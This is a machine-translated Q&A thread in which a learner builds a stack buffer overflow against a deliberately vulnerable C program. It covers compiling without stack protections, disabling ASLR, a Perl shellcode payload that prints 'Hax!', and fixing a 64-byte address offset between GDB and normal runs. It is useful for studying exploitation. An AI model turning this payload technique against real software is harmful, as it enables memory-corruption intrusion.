堆栈缓冲区溢出:适用于GDB,不在它之外

时间:2016-08-28 01:16:59

标签: c stack-overflow aslr

我很久以前就开始讨论Stack位于缓冲区溢出的问题,但我决定建立一个虚拟机并实际看到它们。

以下代码是易受攻击的程序:

#include<string.h>

void go(char *data){
    char name[64];

    strcpy(name, data);
}

int main(int argc, char **argv){
    go(argv[1]);
}

它是使用GCC上的-zexecstack-fno-stack-protector选项编译的,它们都允许堆栈中的代码可执行,并禁用程序内置的Stack Overflow保护(&#34; canary&#34 ;价值)。

gcc vuln.c -o vuln -zexecstack -fno-stack-protector -g

然后我使用GDB查找堆栈上name的内存位置,找到以下地址:0x7fffffffdc10

由于我的VM有最近的linux版本,我必须通过运行以下命令来禁用ASLR(地址空间布局随机化): sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space"sudo sysctl -w kernel.randomize_va_space=0

shellcode取自我在网上发现的有关Stack Smashing的文章,并通过Perl脚本提供给该程序:

perl -e 'print "\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48\xff\xc0\x48\xff\xc7\x5e\x48\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xd9\xff\xff\xff\x48\x61\x78\x21" . "A"x27 . "\x10\xdc\xff\xff\xff\x7f"'

作为shellcode的前45个字节(应该写在屏幕上的#34; Hax!&#34;),一些额外的27&#34; A&#34;用于将指针放在正确位置的字节,最后是小端的有效负载的起始地址。

问题是:

在GDB上运行程序时,通过:

gdb vuln
>run `perl -e 'print "\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48\xff\xc0\x48\xff\xc7\x5e\x48\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xd9\xff\xff\xff\x48\x61\x78\x21" . "A"x27 . "\x10\xdc\xff\xff\xff\x7f"'`

我可以运行shellcode和&#34; Hax!&#34;输出

尝试在GDB之外运行程序时

./vuln `perl -e 'print "\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48\xff\xc0\x48\xff\xc7\x5e\x48\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xd9\xff\xff\xff\x48\x61\x78\x21" . "A"x27 . "\x10\xdc\xff\xff\xff\x7f"'`

我收到Illegal instruction (core dumped)错误,而不是&#34; Hax!&#34;输出

我一直在试图弄清楚这种不同行为的原因是什么。显然,GDB默认禁用ASLR,但我也通过内核上的sysctl禁用了它。内核可以忽略kernel.randomize_va_space变量吗?或者也许内存地址在GDB和真实进程上是不同的,即使是静态的?或者真正的进程实际上是在运行shellcode,但GDB忽略/绕过的实际进程出了什么问题呢?

关于可能是什么原因的任何想法?

1 个答案:

答案 0 :(得分:0)

在阅读了这个答案(https://stackoverflow.com/a/17775966/6765863)之后,我改变了一些关于我尝试执行堆栈缓冲区溢出的事情。

首先,我在GDB测试和常规二进制测试中使用了上面答案(env -i)中建议的清晰环境。在GDB上,我必须进一步运行命令unset env LINESunset env COLUMNS以完全清除GDB环境。

其次,我使用了可执行文件的完整路径,以确保argv[0]变量在两个测试中都是相同的,而不会影响Payload地址。

即使在这些步骤之后,我仍然只能在GDB版本上点击Payload。所以我制作了代码的“调试”版本,在那里我将打印Payload的内存地址(这将是函数“go”上的“名称”数组地址)以及argv[0]和{{的地址1}}。最终代码如下:

argv[1]

我知道我应该明确包含stdio.h(我的坏!)。我不知道添加#include<string.h> void go(char *data){ char name[64]; printf("Name: %p\n",name); strcpy(name, data); } int main(int argc, char **argv){ printf("Argv[0]: %p\n",argv[0]); printf("Argv[1]: %p\n",argv[1]); go(argv[1]); } 是否会改变内存地址上的任何内容(不要这么认为,因为它是一个预处理器调用,编译器可能会以相同的方式调用,但是在所有调试之后)如果程序仍然有效,我不想冒险再次这样做。)

无论如何,我注意到GDB测试和常规测试的地址有点不同。更具体地说,有效载荷地址具有+ 0x40偏移量(64字节)。更改Perl脚本以实际访问该地址足以使其在GDB之外工作。

我仍然不确定堆栈上可能有什么不同,但整个问题是两个测试都没有匹配的精确地址。如果有人知道在GDB测试中可能有多余的64字节,我会很高兴将它添加到我的答案中!